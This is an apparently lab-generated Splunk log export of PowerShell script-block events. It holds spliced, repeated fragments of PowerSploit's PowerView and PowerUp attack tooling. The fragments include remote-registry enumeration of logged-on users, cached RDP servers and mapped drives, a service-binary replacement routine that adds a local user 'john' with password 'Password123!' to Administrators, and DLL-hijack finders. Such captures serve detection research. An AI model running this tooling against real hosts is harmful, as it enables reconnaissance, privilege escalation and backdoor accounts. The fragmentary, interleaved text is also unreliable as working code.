.DESCRIPTION
This function uses remote registry to enumerate the LastLoggedOnUser registry key
for the local (or remote) machine.
.PARAMETER ComputerName
Specifies the hostname to query for remote registry values (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegLastLoggedOn
Returns the last user logged onto the local machine.
.EXAMPLE
Get-WMIRegLastLoggedOn -ComputerName WINDOWS1
Returns the last user logged onto WINDOWS1
.EXAMPLE
Get-DomainComputer | Get-WMIRegLastLoggedOn
Returns the last user logged onto all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.LastLoggedOnUser
A PSCustomObject containing the ComputerName and last loggedon user.
#>
[OutputType('PowerView.LastLoggedOnUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_LOCAL_MACHINE
$HKLM = 2147483650
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'SilentlyContinue'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
# try to open up the remote registry key to grab the last logged on user
try {
$Reg = Get-WmiObject @WmiArguments
$Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI'
$Value = 'LastLoggedOnUser'
$LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
$LastLoggedOn = New-Object PSObject
$LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
$LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
$LastLoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LastLoggedOnUser')
$LastLoggedOn
}
catch {
Write-Warning ""[Get-WMIRegLastLoggedOn] Error opening remote registry on $Computer. Remote registry likely not enabled.""
}
}
}
}
function Get-WMIRegCachedRDPConnection {
<#
.SYNOPSIS
Returns information about RDP connections outgoing from the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to query all entries for the
""Windows Remote Desktop Connection Client"" on a machine, separated by
user and target server.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegCachedRDPConnection
Returns the RDP connection client information for the local machine.
.EXAMPLE
Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local
Returns the RDP connection client information for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegCachedRDPConnection
Returns cached RDP information for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.CachedRDPConnection
A PSCustomObject containing the ComputerName and cached RDP information.
#>
[OutputType('PowerView.CachedRDPConnection')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
# pull out all the cached RDP connections
$ConnectionKeys = $Reg.EnumValues($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Default"").sNames
ForEach ($Connection in $ConnectionKeys) {
# make sure this key is a cached connection
if ($Connection -match 'MRU.*') {
$TargetServer = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Default"", $Connection).sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
# pull out all the cached server info with username hints
$ServerKeys = $Reg.EnumKey($HKU,""$UserSID\Software\Microsoft\Terminal Server Client\Servers"").sNames
ForEach ($Server in $ServerKeys) {
$UsernameHint = $Reg.GetStringValue($HKU, ""$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server"", 'UsernameHint').sValue
$FoundConnection = New-Object PSObject
$FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
$FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
$FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
$FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection')
$FoundConnection
}
}
catch {
Write-Verbose ""[Get-WMIRegCachedRDPConnection] Error: $_""
}
}
}
catch {
Write-Warning ""[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_""
}
}
}
}
function Get-WMIRegMountedDrive {
<#
.SYNOPSIS
Returns information about saved network mounted drives for the local (or remote) machine.
Note: This function requires administrative rights on the machine you're enumerating.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: ConvertFrom-SID
.DESCRIPTION
Uses remote registry functionality to enumerate recently mounted network drives.
.PARAMETER ComputerName
Specifies the hostname to query for mounted drive information (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegMountedDrive
Returns the saved network mounted drives for the local machine.
.EXAMPLE
Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local
Returns the saved network mounted drives for the WINDOWS2.testlab.local machine
.EXAMPLE
Get-DomainComputer | Get-WMIRegMountedDrive
Returns the saved network mounted drives for all machines in the domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.RegMountedDrive
A PSCustomObject containing the ComputerName and mounted drive information.
#>
[OutputType('PowerView.RegMountedDrive')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
# HKEY_USERS
$HKU = 2147483651
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
try {
$Reg = Get-WmiObject @WmiArguments
# extract out the SIDs of domain users in this hive
$UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
ForEach ($UserSID in $UserSIDs) {
try {
if ($PSBoundParameters['Credential']) {
$UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential
}
else {
$UserName = ConvertFrom-SID -ObjectSid $UserSID
}
$DriveLetters = ($Reg.EnumKey($HKU, ""$UserSID\Network"")).sNames
ForEach ($DriveLetter in $DriveLetters) {
$ProviderName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'ProviderName').sValue
$RemotePath = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'RemotePath').sValue
$DriveUserName = $Reg.GetStringValue($HKU, ""$UserSID\Network\$DriveLetter"", 'UserName').sValue
if (-not $UserNe66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1","2022-05-02T18:24:44.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122634,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122634,win,514,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-4E66-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"1356iceName')]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[String]
$UserName = 'john',
[String]
$Password = 'Password123!',
[String]
$LocalGroup = 'Administrators',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[String]
[ValidateNotNullOrEmpty()]
$Command
)
BEGIN {
if ($PSBoundParameters['Command']) {
$ServiceCommand = $Command
}
else {
if ($PSBoundParameters['Credential']) {
$UserNameToAdd = $Credential.UserName
$PasswordToAdd = $Credential.GetNetworkCredential().Password
}
else {
$UserNameToAdd = $UserName
$PasswordToAdd = $Password
}
if ($UserNameToAdd.Contains('\')) {
# only adding a domain user to the local group, no user creation
$ServiceCommand = ""net localgroup $LocalGroup $UserNameToAdd /add""
}
else {
# create a local user and add it to the local specified group
$ServiceCommand = ""net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add""
}
}
}
PROCESS {
$TargetService = Get-Service -Name $Name -ErrorAction Stop
$ServiceDetails = $TargetService | Get-ServiceDetail
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal
if (-not $ModifiableFiles) {
throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user.""
}
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
$BackupPath = ""$($ServicePath).bak""
Write-Verbose ""Backing up '$ServicePath' to '$BackupPath'""
try {
Copy-Item -Path $ServicePath -Destination $BackupPath -Force
}
catch {
Write-Warning ""Error backing up '$ServicePath' : $_""
}
$Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
$Result | Add-Member Noteproperty 'BackupPath' $BackupPath
$Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed')
$Result
}
}
function Restore-ServiceBinary {
<#
.SYNOPSIS
Restores a service binary backed up by Install-ServiceBinary.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath
.DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
checks for the existence of an ""OriginalServiceBinary.exe.bak"" in the service
binary location. If it exists, the backup binary is restored to the original
binary path.
.PARAMETER Name
The service name to restore a binary for.
.PARAMETER BackupPath
Optional manual path to the backup binary.
.EXAMPLE
Restore-ServiceBinary -Name VulnSVC
Restore the original binary for the service 'VulnSVC'.
.EXAMPLE
Get-Service VulnSVC | Restore-ServiceBinary
Restore the original binary for the service 'VulnSVC'.
.EXAMPLE
Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
Restore the original binary for the service 'VulnSVC' from a custom location.
.OUTPUTS
PowerUp.ServiceBinary.Installed
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ServiceBinary.Restored')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServiceName')]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[Parameter(Position = 1)]
[ValidateScript({Test-Path -Path $_ })]
[String]
$BackupPath
)
PROCESS {
$TargetService = Get-Service -Name $Name -ErrorAction Stop
$ServiceDetails = $TargetService | Get-ServiceDetail
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal
if (-not $ModifiableFiles) {
throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user.""
}
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
$BackupPath = ""$($ServicePath).bak""
Copy-Item -Path $BackupPath -Destination $ServicePath -Force
Remove-Item -Path $BackupPath -Force
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name
$Out | Add-Member Noteproperty 'ServicePath' $ServicePath
$Out | Add-Member Noteproperty 'BackupPath' $BackupPath
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored')
$Out
}
}
########################################################
#
# DLL Hijacking
#
########################################################
function Find-ProcessDLLHijack {
<#
.SYNOPSIS
Finds all DLL hijack locations for currently running processes.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates all currently running processes with Get-Process (or accepts an
input process object from Get-Process) and enumerates the loaded modules for each.
All loaded module name exists outside of the process binary base path, as those
are DLL load-order hijack candidates.
.PARAMETER Name
The name of a process to enumerate for possible DLL path hijack opportunities.
.PARAMETER ExcludeWindows
Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
.PARAMETER ExcludeProgramFiles
Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
.PARAMETER ExcludeOwned
Exclude processes the current user owns.
.EXAMPLE
Find-ProcessDLLHijack
Finds possible hijackable DLL locations for all processes.
.EXAMPLE
Get-Process VulnProcess | Find-ProcessDLLHijack
Finds possible hijackable DLL locations for the 'VulnProcess' processes.
.EXAMPLE
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Finds possible hijackable DLL locations not in C:\Windows\* and
not in C:\Program Files\* or C:\Program Files (x86)\*
.EXAMPLE
Find-ProcessDLLHijack -ExcludeOwned
Finds possible hijackable DLL location for processes not owned by the
current user.
.OUTPUTS
PowerUp.HijackableDLL.Process
.LINK
https://www.mandiant.com/blog/malware-persistence-windows-registry/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.HijackableDLL.Process')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ProcessName')]
[String[]]
$Name = $(Get-Process | Select-Object -Expand Name),
[Switch]
$ExcludeWindows,
[Switch]
$ExcludeProgramFiles,
[Switch]
$ExcludeOwned
)
BEGIN {
# the known DLL cache to exclude from our findings
# http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
$Keys = (Get-Item ""HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs"")
$KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith("".dll"") }
$KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith("".dll"") }
$KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }}
$CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# get the owners for all processes
$Owners = @{}
Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
}
PROCESS {
ForEach ($ProcessName in $Name) {
$TargetProcess = Get-Process -Name $ProcessName
if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) {
try {
$BasePath = $TargetProcess.Path | Split-Path -Parent
$LoadedModules = $TargetProcess.Modules
$ProcessOwner = $Owners[$TargetProcess.Id.ToString()]
ForEach ($Module in $LoadedModules){
$ModulePath = ""$BasePath\$($Module.ModuleName)""
# if the module path doesn't exist in the process base path folder
if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {
$Exclude = $False
if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
$Exclude = $True
}
if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
$Exclude = $True
}
if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
$Exclude = $True
}
# output the process name and hijackable path if exclusion wasn't marked
if (-not $Exclude){
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
$Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
$Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
$Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process')
$Out
}
}
}
}
catch {
Write-Verbose ""Error: $_""
}
}
}
}
}
function Find-PathDLLHijack {
<#
.SYNOPSIS
Finds all directories in the system %PATH% that are modifiable by the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,4104,122483,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,13,56,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1",,,"'5388'",,,,,,122483,,,,"a7b1e4fb-95d2-4636-adf0-00efffb56975","iceName')]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[String]
$UserName = 'john',
[String]
$Password = 'Password123!',
[String]
$LocalGroup = 'Administrators',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[String]
[ValidateNotNullOrEmpty()]
$Command
)
BEGIN {
if ($PSBoundParameters['Command']) {
$ServiceCommand = $Command
}
else {
if ($PSBoundParameters['Credential']) {
$UserNameToAdd = $Credential.UserName
$PasswordToAdd = $Credential.GetNetworkCredential().Password
}
else {
$UserNameToAdd = $UserName
$PasswordToAdd = $Password
}
if ($UserNameToAdd.Contains('\')) {
# only adding a domain user to the local group, no user creation
$ServiceCommand = ""net localgroup $LocalGroup $UserNameToAdd /add""
}
else {
# create a local user and add it to the local specified group
$ServiceCommand = ""net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add""
}
}
}
PROCESS {
$TargetService = Get-Service -Name $Name -ErrorAction Stop
$ServiceDetails = $TargetService | Get-ServiceDetail
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal
if (-not $ModifiableFiles) {
throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user.""
}
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
$BackupPath = ""$($ServicePath).bak""
Write-Verbose ""Backing up '$ServicePath' to '$BackupPath'""
try {
Copy-Item -Path $ServicePath -Destination $BackupPath -Force
}
catch {
Write-Warning ""Error backing up '$ServicePath' : $_""
}
$Result = Write-ServiceBinary -Name $ServiceDetails.Name -Command $ServiceCommand -Path $ServicePath
$Result | Add-Member Noteproperty 'BackupPath' $BackupPath
$Result.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Installed')
$Result
}
}
function Restore-ServiceBinary {
<#
.SYNOPSIS
Restores a service binary backed up by Install-ServiceBinary.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Get-ModifiablePath
.DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline and
checks for the existence of an ""OriginalServiceBinary.exe.bak"" in the service
binary location. If it exists, the backup binary is restored to the original
binary path.
.PARAMETER Name
The service name to restore a binary for.
.PARAMETER BackupPath
Optional manual path to the backup binary.
.EXAMPLE
Restore-ServiceBinary -Name VulnSVC
Restore the original binary for the service 'VulnSVC'.
.EXAMPLE
Get-Service VulnSVC | Restore-ServiceBinary
Restore the original binary for the service 'VulnSVC'.
.EXAMPLE
Restore-ServiceBinary -Name VulnSVC -BackupPath 'C:\temp\backup.exe'
Restore the original binary for the service 'VulnSVC' from a custom location.
.OUTPUTS
PowerUp.ServiceBinary.Installed
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ServiceBinary.Restored')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServiceName')]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[Parameter(Position = 1)]
[ValidateScript({Test-Path -Path $_ })]
[String]
$BackupPath
)
PROCESS {
$TargetService = Get-Service -Name $Name -ErrorAction Stop
$ServiceDetails = $TargetService | Get-ServiceDetail
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -Literal
if (-not $ModifiableFiles) {
throw ""Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user.""
}
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
$BackupPath = ""$($ServicePath).bak""
Copy-Item -Path $BackupPath -Destination $ServicePath -Force
Remove-Item -Path $BackupPath -Force
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name
$Out | Add-Member Noteproperty 'ServicePath' $ServicePath
$Out | Add-Member Noteproperty 'BackupPath' $BackupPath
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ServiceBinary.Restored')
$Out
}
}
########################################################
#
# DLL Hijacking
#
########################################################
function Find-ProcessDLLHijack {
<#
.SYNOPSIS
Finds all DLL hijack locations for currently running processes.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates all currently running processes with Get-Process (or accepts an
input process object from Get-Process) and enumerates the loaded modules for each.
All loaded module name exists outside of the process binary base path, as those
are DLL load-order hijack candidates.
.PARAMETER Name
The name of a process to enumerate for possible DLL path hijack opportunities.
.PARAMETER ExcludeWindows
Exclude paths from C:\Windows\* instead of just C:\Windows\System32\*
.PARAMETER ExcludeProgramFiles
Exclude paths from C:\Program Files\* and C:\Program Files (x86)\*
.PARAMETER ExcludeOwned
Exclude processes the current user owns.
.EXAMPLE
Find-ProcessDLLHijack
Finds possible hijackable DLL locations for all processes.
.EXAMPLE
Get-Process VulnProcess | Find-ProcessDLLHijack
Finds possible hijackable DLL locations for the 'VulnProcess' processes.
.EXAMPLE
Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles
Finds possible hijackable DLL locations not in C:\Windows\* and
not in C:\Program Files\* or C:\Program Files (x86)\*
.EXAMPLE
Find-ProcessDLLHijack -ExcludeOwned
Finds possible hijackable DLL location for processes not owned by the
current user.
.OUTPUTS
PowerUp.HijackableDLL.Process
.LINK
https://www.mandiant.com/blog/malware-persistence-windows-registry/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.HijackableDLL.Process')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ProcessName')]
[String[]]
$Name = $(Get-Process | Select-Object -Expand Name),
[Switch]
$ExcludeWindows,
[Switch]
$ExcludeProgramFiles,
[Switch]
$ExcludeOwned
)
BEGIN {
# the known DLL cache to exclude from our findings
# http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx
$Keys = (Get-Item ""HKLM:\System\CurrentControlSet\Control\Session Manager\KnownDLLs"")
$KnownDLLs = $(ForEach ($KeyName in $Keys.GetValueNames()) { $Keys.GetValue($KeyName).tolower() }) | Where-Object { $_.EndsWith("".dll"") }
$KnownDLLPaths = $(ForEach ($name in $Keys.GetValueNames()) { $Keys.GetValue($name).tolower() }) | Where-Object { -not $_.EndsWith("".dll"") }
$KnownDLLs += ForEach ($path in $KnownDLLPaths) { ls -force $path\*.dll | Select-Object -ExpandProperty Name | ForEach-Object { $_.tolower() }}
$CurrentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# get the owners for all processes
$Owners = @{}
Get-WmiObject -Class win32_process | Where-Object {$_} | ForEach-Object { $Owners[$_.handle] = $_.getowner().user }
}
PROCESS {
ForEach ($ProcessName in $Name) {
$TargetProcess = Get-Process -Name $ProcessName
if ($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($Null -ne $TargetProcess.Path)) {
try {
$BasePath = $TargetProcess.Path | Split-Path -Parent
$LoadedModules = $TargetProcess.Modules
$ProcessOwner = $Owners[$TargetProcess.Id.ToString()]
ForEach ($Module in $LoadedModules){
$ModulePath = ""$BasePath\$($Module.ModuleName)""
# if the module path doesn't exist in the process base path folder
if ((-not $ModulePath.Contains('C:\Windows\System32')) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) {
$Exclude = $False
if ($PSBoundParameters['ExcludeWindows'] -and $ModulePath.Contains('C:\Windows')) {
$Exclude = $True
}
if ($PSBoundParameters['ExcludeProgramFiles'] -and $ModulePath.Contains('C:\Program Files')) {
$Exclude = $True
}
if ($PSBoundParameters['ExcludeOwned'] -and $CurrentUser.Contains($ProcessOwner)) {
$Exclude = $True
}
# output the process name and hijackable path if exclusion wasn't marked
if (-not $Exclude){
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ProcessName' $TargetProcess.ProcessName
$Out | Add-Member Noteproperty 'ProcessPath' $TargetProcess.Path
$Out | Add-Member Noteproperty 'ProcessOwner' $ProcessOwner
$Out | Add-Member Noteproperty 'ProcessHijackableDLL' $ModulePath
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.HijackableDLL.Process')
$Out
}
}
}
}
catch {
Write-Verbose ""Error: $_""
}
}
}
}
}
function Find-PathDLLHijack {
<#
.SYNOPSIS
Finds all directories in the system %PATH% that are modifiable by the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3",,,,,,,,,,,"'2022-05-02T18:24:40.741455000Z'","4104132150x0122483Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122483Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local1356iceName')]
[String]
[ValidateNotNullOrEmpty()]
$Name,
[String]
$UserName = 'john',
[String]
$Password = 'Password123!',
[String]
$LocalGroup = 'Administrators',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[String]
[ValidateNotNullOrEmpty()]
$Command
)
BEGIN {
if ($PSBoundParameters['Command']) {
$ServiceCommand = $Command
}
else {
if ($PSBoundParameters['Credential']) {
$UserNameToAdd = $Credential.UserName
$PasswordToAdd = $Credential.GetNetworkCredential().Password
}
else {
$UserNameToAdd = $UserName
$PasswordToAdd = $Password
}
if ($UserNameToAdd.Contains('\')) {
# only adding a domain user to the local group, no user creation
$ServiceCommand = ""net localgroup $LocalGroup $UserNameToAdd /add""
}
else {
# create a local user and add it to the local specified group
